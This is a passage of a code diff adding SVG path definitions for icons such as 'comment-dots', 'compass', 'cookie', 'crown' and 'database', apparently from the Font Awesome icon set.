57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7S4.8 480 8 480c66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32z"], + "comment-alt": [512, 512, [], "f27a", "M448 0H64C28.7 0 0 28.7 0 64v288c0 35.3 28.7 64 64 64h96v84c0 9.8 11.2 15.5 19.1 9.7L304 416h144c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64z"], + "comment-dollar": [512, 512, [], "f651", "M256 32C114.62 32 0 125.12 0 240c0 49.56 21.41 95.01 57.02 130.74C44.46 421.05 2.7 465.97 2.2 466.5A7.995 7.995 0 0 0 8 480c66.26 0 115.99-31.75 140.6-51.38C181.29 440.93 217.59 448 256 448c141.38 0 256-93.12 256-208S397.38 32 256 32zm24 302.44V352c0 8.84-7.16 16-16 16h-16c-8.84 0-16-7.16-16-16v-17.73c-11.42-1.35-22.28-5.19-31.78-11.46-6.22-4.11-6.82-13.11-1.55-18.38l17.52-17.52c3.74-3.74 9.31-4.24 14.11-2.03 3.18 1.46 6.66 2.22 10.26 2.22h32.78c4.66 0 8.44-3.78 8.44-8.42 0-3.75-2.52-7.08-6.12-8.11l-50.07-14.3c-22.25-6.35-40.01-24.71-42.91-47.67-4.05-32.07 19.03-59.43 49.32-63.05V128c0-8.84 7.16-16 16-16h16c8.84 0 16 7.16 16 16v17.73c11.42 1.35 22.28 5.19 31.78 11.46 6.22 4.11 6.82 13.11 1.55 18.38l-17.52 17.52c-3.74 3.74-9.31 4.24-14.11 2.03a24.516 24.516 0 0 0-10.26-2.22h-32.78c-4.66 0-8.44 3.78-8.44 8.42 0 3.75 2.52 7.08 6.12 8.11l50.07 14.3c22.25 6.36 40.01 24.71 42.91 47.67 4.05 32.06-19.03 59.42-49.32 63.04z"], + "comment-dots": [512, 512, [], "f4ad", "M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7S4.8 480 8 480c66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32zM128 272c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "comment-medical": [512, 512, [], "f7f5", "M256 32C114.62 32 0 125.12 0 240c0 49.56 21.41 95 57 130.74C44.46 421.05 2.7 466 2.2 466.5A8 8 0 0 0 8 480c66.26 0 116-31.75 140.6-51.38A304.66 304.66 0 0 0 256 448c141.39 0 256-93.12 256-208S397.39 32 256 32zm96 232a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8v-48a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8z"], + "comment-slash": [640, 512, [], "f4b3", "M64 240c0 49.6 21.4 95 57 130.7-12.6 50.3-54.3 95.2-54.8 95.8-2.2 2.3-2.8 5.7-1.5 8.7 1.3 2.9 4.1 4.8 7.3 4.8 66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 27.4 0 53.7-3.6 78.4-10L72.9 186.4c-5.6 17.1-8.9 35-8.9 53.6zm569.8 218.1l-114.4-88.4C554.6 334.1 576 289.2 576 240c0-114.9-114.6-208-256-208-65.1 0-124.2 20.1-169.4 52.7L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3z"], + "comments": [576, 512, [], "f086", "M416 192c0-88.4-93.1-160-208-160S0 103.6 0 192c0 34.3 14.1 65.9 38 92-13.4 30.2-35.5 54.2-35.8 54.5-2.2 2.3-2.8 5.7-1.5 8.7S4.8 352 8 352c36.6 0 66.9-12.3 88.7-25 32.2 15.7 70.3 25 111.3 25 114.9 0 208-71.6 208-160zm122 220c23.9-26 38-57.7 38-92 0-66.9-53.5-124.2-129.3-148.1.9 6.6 1.3 13.3 1.3 20.1 0 105.9-107.7 192-240 192-10.8 0-21.3-.8-31.7-1.9C207.8 439.6 281.8 480 368 480c41 0 79.1-9.2 111.3-25 21.8 12.7 52.1 25 88.7 25 3.2 0 6.1-1.9 7.3-4.8 1.3-2.9.7-6.3-1.5-8.7-.3-.3-22.4-24.2-35.8-54.5z"], + "comments-dollar": [576, 512, [], "f653", "M416 192c0-88.37-93.12-160-208-160S0 103.63 0 192c0 34.27 14.13 65.95 37.97 91.98C24.61 314.22 2.52 338.16 2.2 338.5A7.995 7.995 0 0 0 8 352c36.58 0 66.93-12.25 88.73-24.98C128.93 342.76 167.02 352 208 352c114.88 0 208-71.63 208-160zm-224 96v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V96c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07V288c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm346.01 123.99C561.87 385.96 576 354.27 576 320c0-66.94-53.49-124.2-129.33-148.07.86 6.6 1.33 13.29 1.33 20.07 0 105.87-107.66 192-240 192-10.78 0-21.32-.77-31.73-1.88C207.8 439.63 281.77 480 368 480c40.98 0 79.07-9.24 111.27-24.98C501.07 467.75 531.42 480 568 480c3.2 0 6.09-1.91 7.34-4.84 1.27-2.94.66-6.34-1.55-8.67-.31-.33-22.42-24.24-35.78-54.5z"], + "compact-disc": [496, 512, [], "f51f", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM88 256H56c0-105.9 86.1-192 192-192v32c-88.2 0-160 71.8-160 160zm160 96c-53 0-96-43-96-96s43-96 96-96 96 43 96 96-43 96-96 96zm0-128c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"], + "compass": [496, 512, [], "f14e", "M225.38 233.37c-12.5 12.5-12.5 32.76 0 45.25 12.49 12.5 32.76 12.5 45.25 0 12.5-12.5 12.5-32.76 0-45.25-12.5-12.49-32.76-12.49-45.25 0zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm126.14 148.05L308.17 300.4a31.938 31.938 0 0 1-15.77 15.77l-144.34 65.97c-16.65 7.61-33.81-9.55-26.2-26.2l65.98-144.35a31.938 31.938 0 0 1 15.77-15.77l144.34-65.97c16.65-7.6 33.8 9.55 26.19 26.2z"], + "compress": [448, 512, [], "f066", "M436 192H312c-13.3 0-24-10.7-24-24V44c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v84h84c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12zm-276-24V44c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v84H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h124c13.3 0 24-10.7 24-24zm0 300V344c0-13.3-10.7-24-24-24H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h84v84c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm192 0v-84h84c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12H312c-13.3 0-24 10.7-24 24v124c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12z"], + "compress-alt": [448, 512, [], "f422", "M4.686 427.314L104 328l-32.922-31.029C55.958 281.851 66.666 256 88.048 256h112C213.303 256 224 266.745 224 280v112c0 21.382-25.803 32.09-40.922 16.971L152 376l-99.314 99.314c-6.248 6.248-16.379 6.248-22.627 0L4.686 449.941c-6.248-6.248-6.248-16.379 0-22.627zM443.314 84.686L344 184l32.922 31.029c15.12 15.12 4.412 40.971-16.97 40.971h-112C234.697 256 224 245.255 224 232V120c0-21.382 25.803-32.09 40.922-16.971L296 136l99.314-99.314c6.248-6.248 16.379-6.248 22.627 0l25.373 25.373c6.248 6.248 6.248 16.379 0 22.627z"], + "compress-arrows-alt": [512, 512, [], "f78c", "M200 288H88c-21.4 0-32.1 25.8-17 41l32.9 31-99.2 99.3c-6.2 6.2-6.2 16.4 0 22.6l25.4 25.4c6.2 6.2 16.4 6.2 22.6 0L152 408l31.1 33c15.1 15.1 40.9 4.4 40.9-17V312c0-13.3-10.7-24-24-24zm112-64h112c21.4 0 32.1-25.9 17-41l-33-31 99.3-99.3c6.2-6.2 6.2-16.4 0-22.6L481.9 4.7c-6.2-6.2-16.4-6.2-22.6 0L360 104l-31.1-33C313.8 55.9 288 66.6 288 88v112c0 13.3 10.7 24 24 24zm96 136l33-31.1c15.1-15.1 4.4-40.9-17-40.9H312c-13.3 0-24 10.7-24 24v112c0 21.4 25.9 32.1 41 17l31-32.9 99.3 99.3c6.2 6.2 16.4 6.2 22.6 0l25.4-25.4c6.2-6.2 6.2-16.4 0-22.6L408 360zM183 71.1L152 104 52.7 4.7c-6.2-6.2-16.4-6.2-22.6 0L4.7 30.1c-6.2 6.2-6.2 16.4 0 22.6L104 152l-33 31.1C55.9 198.2 66.6 224 88 224h112c13.3 0 24-10.7 24-24V88c0-21.3-25.9-32-41-16.9z"], + "concierge-bell": [512, 512, [], "f562", "M288 130.54V112h16c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h16v18.54C115.49 146.11 32 239.18 32 352h448c0-112.82-83.49-205.89-192-221.46zM496 384H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"], + "cookie": [512, 512, [], "f563", "M510.37 254.79l-12.08-76.26a132.493 132.493 0 0 0-37.16-72.95l-54.76-54.75c-19.73-19.72-45.18-32.7-72.71-37.05l-76.7-12.15c-27.51-4.36-55.69.11-80.52 12.76L107.32 49.6a132.25 132.25 0 0 0-57.79 57.8l-35.1 68.88a132.602 132.602 0 0 0-12.82 80.94l12.08 76.27a132.493 132.493 0 0 0 37.16 72.95l54.76 54.75a132.087 132.087 0 0 0 72.71 37.05l76.7 12.14c27.51 4.36 55.69-.11 80.52-12.75l69.12-35.21a132.302 132.302 0 0 0 57.79-57.8l35.1-68.87c12.71-24.96 17.2-53.3 12.82-80.96zM176 368c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm32-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm160 128c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "cookie-bite": [512, 512, [], "f564", "M510.52 255.82c-69.97-.85-126.47-57.69-126.47-127.86-70.17 0-127-56.49-127.86-126.45-27.26-4.14-55.13.3-79.72 12.82l-69.13 35.22a132.221 132.221 0 0 0-57.79 57.81l-35.1 68.88a132.645 132.645 0 0 0-12.82 80.95l12.08 76.27a132.521 132.521 0 0 0 37.16 72.96l54.77 54.76a132.036 132.036 0 0 0 72.71 37.06l76.71 12.15c27.51 4.36 55.7-.11 80.53-12.76l69.13-35.21a132.273 132.273 0 0 0 57.79-57.81l35.1-68.88c12.56-24.64 17.01-52.58 12.91-79.91zM176 368c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm32-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm160 128c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "copy": [448, 512, [], "f0c5", "M320 448v40c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V120c0-13.255 10.745-24 24-24h72v296c0 30.879 25.121 56 56 56h168zm0-344V0H152c-13.255 0-24 10.745-24 24v368c0 13.255 10.745 24 24 24h272c13.255 0 24-10.745 24-24V128H344c-13.2 0-24-10.8-24-24zm120.971-31.029L375.029 7.029A24 24 0 0 0 358.059 0H352v96h96v-6.059a24 24 0 0 0-7.029-16.97z"], + "copyright": [512, 512, [], "f1f9", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm117.134 346.753c-1.592 1.867-39.776 45.731-109.851 45.731-84.692 0-144.484-63.26-144.484-145.567 0-81.303 62.004-143.401 143.762-143.401 66.957 0 101.965 37.315 103.422 38.904a12 12 0 0 1 1.238 14.623l-22.38 34.655c-4.049 6.267-12.774 7.351-18.234 2.295-.233-.214-26.529-23.88-61.88-23.88-46.116 0-73.916 33.575-73.916 76.082 0 39.602 25.514 79.692 74.277 79.692 38.697 0 65.28-28.338 65.544-28.625 5.132-5.565 14.059-5.033 18.508 1.053l24.547 33.572a12.001 12.001 0 0 1-.553 14.866z"], + "couch": [640, 512, [], "f4b8", "M160 224v64h320v-64c0-35.3 28.7-64 64-64h32c0-53-43-96-96-96H160c-53 0-96 43-96 96h32c35.3 0 64 28.7 64 64zm416-32h-32c-17.7 0-32 14.3-32 32v96H128v-96c0-17.7-14.3-32-32-32H64c-35.3 0-64 28.7-64 64 0 23.6 13 44 32 55.1V432c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-16h384v16c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V311.1c19-11.1 32-31.5 32-55.1 0-35.3-28.7-64-64-64z"], + "credit-card": [576, 512, [], "f09d", "M0 432c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V256H0v176zm192-68c0-6.6 5.4-12 12-12h136c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H204c-6.6 0-12-5.4-12-12v-40zm-128 0c0-6.6 5.4-12 12-12h72c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zM576 80v48H0V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48z"], + "crop": [512, 512, [], "f125", "M488 352h-40V109.25l59.31-59.31c6.25-6.25 6.25-16.38 0-22.63L484.69 4.69c-6.25-6.25-16.38-6.25-22.63 0L402.75 64H192v96h114.75L160 306.75V24c0-13.26-10.75-24-24-24H88C74.75 0 64 10.74 64 24v40H24C10.75 64 0 74.74 0 88v48c0 13.25 10.75 24 24 24h40v264c0 13.25 10.75 24 24 24h232v-96H205.25L352 205.25V488c0 13.25 10.75 24 24 24h48c13.25 0 24-10.75 24-24v-40h40c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z"], + "crop-alt": [512, 512, [], "f565", "M488 352h-40V96c0-17.67-14.33-32-32-32H192v96h160v328c0 13.25 10.75 24 24 24h48c13.25 0 24-10.75 24-24v-40h40c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24zM160 24c0-13.26-10.75-24-24-24H88C74.75 0 64 10.74 64 24v40H24C10.75 64 0 74.74 0 88v48c0 13.25 10.75 24 24 24h40v256c0 17.67 14.33 32 32 32h224v-96H160V24z"], + "cross": [384, 512, [], "f654", "M352 128h-96V32c0-17.67-14.33-32-32-32h-64c-17.67 0-32 14.33-32 32v96H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h96v224c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V256h96c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z"], + "crosshairs": [512, 512, [], "f05b", "M500 224h-30.364C455.724 130.325 381.675 56.276 288 42.364V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v30.364C130.325 56.276 56.276 130.325 42.364 224H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h30.364C56.276 381.675 130.325 455.724 224 469.636V500c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-30.364C381.675 455.724 455.724 381.675 469.636 288H500c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zM288 404.634V364c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40.634C165.826 392.232 119.783 346.243 107.366 288H148c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40.634C119.768 165.826 165.757 119.783 224 107.366V148c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40.634C346.174 119.768 392.217 165.757 404.634 224H364c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40.634C392.232 346.174 346.243 392.217 288 404.634zM288 256c0 17.673-14.327 32-32 32s-32-14.327-32-32c0-17.673 14.327-32 32-32s32 14.327 32 32z"], + "crow": [640, 512, [], "f520", "M544 32h-16.36C513.04 12.68 490.09 0 464 0c-44.18 0-80 35.82-80 80v20.98L12.09 393.57A30.216 30.216 0 0 0 0 417.74c0 22.46 23.64 37.07 43.73 27.03L165.27 384h96.49l44.41 120.1c2.27 6.23 9.15 9.44 15.38 7.17l22.55-8.21c6.23-2.27 9.44-9.15 7.17-15.38L312.94 384H352c1.91 0 3.76-.23 5.66-.29l44.51 120.38c2.27 6.23 9.15 9.44 15.38 7.17l22.55-8.21c6.23-2.27 9.44-9.15 7.17-15.38l-41.24-111.53C485.74 352.8 544 279.26 544 192v-80l96-16c0-35.35-42.98-64-96-64zm-80 72c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"], + "crown": [640, 512, [], "f521", "M528 448H112c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h416c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm64-320c-26.5 0-48 21.5-48 48 0 7.1 1.6 13.7 4.4 19.8L476 239.2c-15.4 9.2-35.3 4-44.2-11.6L350.3 85C361 76.2 368 63 368 48c0-26.5-21.5-48-48-48s-48 21.5-48 48c0 15 7 28.2 17.7 37l-81.5 142.6c-8.9 15.6-28.9 20.8-44.2 11.6l-72.3-43.4c2.7-6 4.4-12.7 4.4-19.8 0-26.5-21.5-48-48-48S0 149.5 0 176s21.5 48 48 48c2.6 0 5.2-.4 7.7-.8L128 416h384l72.3-192.8c2.5.4 5.1.8 7.7.8 26.5 0 48-21.5 48-48s-21.5-48-48-48z"], + "crutch": [512, 512, [], "f7f7", "M507.31 185.71l-181-181a16 16 0 0 0-22.62 0L281 27.31a16 16 0 0 0 0 22.63l181 181a16 16 0 0 0 22.63 0l22.62-22.63a16 16 0 0 0 .06-22.6zm-179.54 66.41l-67.89-67.89 55.1-55.1-45.25-45.25-109.67 109.67a96.08 96.08 0 0 0-25.67 46.29L106.65 360.1l-102 102a16 16 0 0 0 0 22.63l22.62 22.62a16 16 0 0 0 22.63 0l102-102 120.25-27.75a95.88 95.88 0 0 0 46.29-25.65l109.68-109.68L382.87 197zm-54.57 54.57a32 32 0 0 1-15.45 8.54l-79.3 18.32 18.3-79.3a32.22 32.22 0 0 1 8.56-15.45l9.31-9.31 67.89 67.89z"], + "cube": [512, 512, [], "f1b2", "M239.1 6.3l-208 78c-18.7 7-31.1 25-31.1 45v225.1c0 18.2 10.3 34.8 26.5 42.9l208 104c13.5 6.8 29.4 6.8 42.9 0l208-104c16.3-8.1 26.5-24.8 26.5-42.9V129.3c0-20-12.4-37.9-31.1-44.9l-208-78C262 2.2 250 2.2 239.1 6.3zM256 68.4l192 72v1.1l-192 78-192-78v-1.1l192-72zm32 356V275.5l160-65v133.9l-160 80z"], + "cubes": [512, 512, [], "f1b3", "M488.6 250.2L392 214V105.5c0-15-9.3-28.4-23.4-33.7l-100-37.5c-8.1-3.1-17.1-3.1-25.3 0l-100 37.5c-14.1 5.3-23.4 18.7-23.4 33.7V214l-96.6 36.2C9.3 255.5 0 268.9 0 283.9V394c0 13.6 7.7 26.1 19.9 32.2l100 50c10.1 5.1 22.1 5.1 32.2 0l103.9-52 103.9 52c10.1 5.1 22.1 5.1 32.2 0l100-50c12.2-6.1 19.9-18.6 19.9-32.2V283.9c0-15-9.3-28.4-23.4-33.7zM358 214.8l-85 31.9v-68.2l85-37v73.3zM154 104.1l102-38.2 102 38.2v.6l-102 41.4-102-41.4v-.6zm84 291.1l-85 42.5v-79.1l85-38.8v75.4zm0-112l-102 41.4-102-41.4v-.6l102-38.2 102 38.2v.6zm240 112l-85 42.5v-79.1l85-38.8v75.4zm0-112l-102 41.4-102-41.4v-.6l102-38.2 102 38.2v.6z"], + "cut": [448, 512, [], "f0c4", "M278.06 256L444.48 89.57c4.69-4.69 4.69-12.29 0-16.97-32.8-32.8-85.99-32.8-118.79 0L210.18 188.12l-24.86-24.86c4.31-10.92 6.68-22.81 6.68-35.26 0-53.02-42.98-96-96-96S0 74.98 0 128s42.98 96 96 96c4.54 0 8.99-.32 13.36-.93L142.29 256l-32.93 32.93c-4.37-.61-8.83-.93-13.36-.93-53.02 0-96 42.98-96 96s42.98 96 96 96 96-42.98 96-96c0-12.45-2.37-24.34-6.68-35.26l24.86-24.86L325.69 439.4c32.8 32.8 85.99 32.8 118.79 0 4.69-4.68 4.69-12.28 0-16.97L278.06 256zM96 160c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32zm0 256c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32z"], + "database": [448, 512, [], "f1c0", "M448 73.143v45.714C448 159.143 347.667 192 224 192S0 159.143 0 118.857V73.143C0 32.857 100.333 0 224 0s224 32.857 224 73.143zM448 176v102.857C448 319.143 347.667 352 224 352S0 319.143 0 278.857V176c48.125 33.143 136.208 48.572 224 48.572S399.874 209.143 448 176zm0 160v102.857C448 479.143 347.667 512 224 512S0 479.143 0 438.857V336c48.125 33.143 136.208 48.572 224 48.572S399.874 369.143 448 336z"], + "deaf": [512, 512, [], "f2a4", "M216 260c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-44.112 35.888-80 80-80s80 35.888 80 80c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-13.234-10.767-24-24-24s-24 10.766-24 24zm24-176c-97.047 0-176 78.953-176 176 0 15.464 12.536 28 28 28s28-12.536 28-28c0-66.168 53.832-120 120-120s120 53.832 120 120c0 75.164-71.009 70.311-71.997 143.622L288 404c0 28.673-23.327 52-52 52-15.464 0-28 12.536-28 28s12.536 28 28 28c59.475 0 107.876-48.328 108-107.774.595-34.428 72-48.24 72-144.226 0-97.047-78.953-176-176-176zm268.485-52.201L480.2 3.515c-4.687-4.686-12.284-4.686-16.971 0L376.2 90.544c-4.686 4.686-4.686 12.284 0 16.971l28.285 28.285c4.686 4.686 12.284 4.686 16.97 0l87.03-87.029c4.687-4.688 4.687-12.286 0-16.972zM168.97 314.745c-4.686-4.686-12.284-4.686-16.97 0L3.515 463.23c-4.686 4.686-4.686 12.284 0 16.971L31.8 508.485c4.687 4.686 12.284 4.686 16.971 0L197.256 360c4.686-4.686 4.686-12.284 0-16.971l-28.286-28.284z"], + "democrat": [640, 512, [], "f747", "M637.3 256.9l-19.6-29.4c-28.2-42.3-75.3-67.5-126.1-67.5H256l-81.2-81.2c20.1-20.1 22.6-51.1 7.5-73.9-3.4-5.2-10.8-5.9-15.2-1.5l-41.8 41.8L82.4 2.4c-3.6-3.6-9.6-3-12.4 1.2-12.3 18.6-10.3 44 6.1 60.4 3.3 3.3 7.3 5.3 11.3 7.5-2.2 1.7-4.7 3.1-6.4 5.4L6.4 176.2c-7.3 9.7-8.4 22.7-3 33.5l14.3 28.6c5.4 10.8 16.5 17.7 28.6 17.7h31c8.5 0 16.6-3.4 22.6-9.4L138 212l54 108h352v-77.8c16.2 12.2 18.3 17.6 40.1 50.3 4.9 7.4 14.8 9.3 22.2 4.4l26.6-17.7c7.3-5 9.3-14.9 4.4-22.3zm-341.1-13.6l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L256 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zm112 0l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L368 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zm112 0l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L480 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zM192 496c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-80h160v80c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V352H192v144z"], + "desktop": [576, 512, [], "f108", "M528 0H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h192l-16 48h-72c-13.3 0-24 10.7-24 24s10.7 24 24 24h272c13.3 0 24-10.7 24-24s-10.7-24-24-24h-72l-16-48h192c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm-16 352H64V64h448v288z"], + "dharmachakra": [512, 512, [], "f655", "M495 225.06l-17.22 1.08c-5.27-39.49-20.79-75.64-43.86-105.84l12.95-11.43c6.92-6.11 7.25-16.79.73-23.31L426.44 64.4c-6.53-6.53-17.21-6.19-23.31.73L391.7 78.07c-30.2-23.06-66.35-38.58-105.83-43.86L286.94 17c.58-9.21-6.74-17-15.97-17h-29.94c-9.23 0-16.54 7.79-15.97 17l1.08 17.22c-39.49 5.27-75.64 20.79-105.83 43.86l-11.43-12.95c-6.11-6.92-16.79-7.25-23.31-.73L64.4 85.56c-6.53 6.53-6.19 17.21.73 23.31l12.95 11.43c-23.06 30.2-38.58 66.35-43.86 105.84L17 225.06c-9.21-.58-17 6.74-17 15.97v29.94c0 9.23 7.79 16.54 17 15.97l17.22-1.08c5.27 39.49 20.79 75.64 43.86 105.83l-12.95 11.43c-6.92 6.11-7.25 16.79-.73 23.31l21.17 21.17c6.53 6.53 17.21 6.19 23.31-.73l11.43-12.95c30.2 23.06 66.35 38.58 105.84 43.86L225.06 495c-.58 9.21 6.74 17 15.97 17h29.94c9.23 0 16.54-7.79 15.97-17l-1.08-17.22c39.49-5.27 75.64-20.79 105.84-43.86l11.43 12.95c6.11 6.92 16.79 7.25 23.31.73l21.17-21.17c6.53-6.53 6.19-17.21-.73-23.31l-12.95-11.43c23.06-30.2 38.58-66.35 43.86-105.83l17.22 1.08c9.21.58 17-6.74 17-15.97v-29.94c-.01-9.23-7.8-16.54-17.01-15.97zM281.84 98.61c24.81 4.07 47.63 13.66 67.23 27.78l-42.62 48.29c-8.73-5.44-18.32-9.54-28.62-11.95l4.01-64.12zm-51.68 0l4.01 64.12c-10.29 2.41-19.89 6.52-28.62 11.95l-42.62-48.29c19.6-14.12 42.42-23.71 67.23-27.78zm-103.77 64.33l48.3 42.61c-5.44 8.73-9.54 18.33-11.96 28.62l-64.12-4.01c4.07-24.81 13.66-47.62 27.78-67.22zm-27.78 118.9l64.12-4.01c2.41 10.29 6.52 19.89 11.95 28.62l-48.29 42.62c-14.12-19.6-23.71-42.42-27.78-67.23zm131.55 131.55c-24.81-4.07-47.63-13.66-67.23-27.78l42.61-48.3c8.73 5.44 18.33 9.54 28.62 11.96l-4 64.12zM256 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm25.84 125.39l-4.01-64.12c10.29-2.41 19.89-6.52 28.62-11.96l42.61 48.3c-19.6 14.12-42.41 23.71-67.22 27.78zm103.77-64.33l-48.29-42.62c5.44-8.73 9.54-18.32 11.95-28.62l64.12 4.01c-4.07 24.82-13.66 47.64-27.78 67.23zm-36.34-114.89c-2.41-10.29-6.52-19.89-11.96-28.62l48.3-42.61c14.12 19.6 23.71 42.42 27.78 67.23l-64.12 4z"], + "diagnoses": [640, 512, [], "f470", "M496 256c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm-176-80c48.5 0 88-39.5 88-88S368.5 0 320 0s-88 39.5-88 88 39.5 88 88 88zM59.8 364c10.2 15.3 29.3 17.8 42.9 9.8 16.2-9.6 56.2-31.7 105.3-48.6V416h224v-90.7c49.1 16.8 89.1 39 105.3 48.6 13.6 8 32.7 5.3 42.9-9.8l17.8-26.7c8.8-13.2 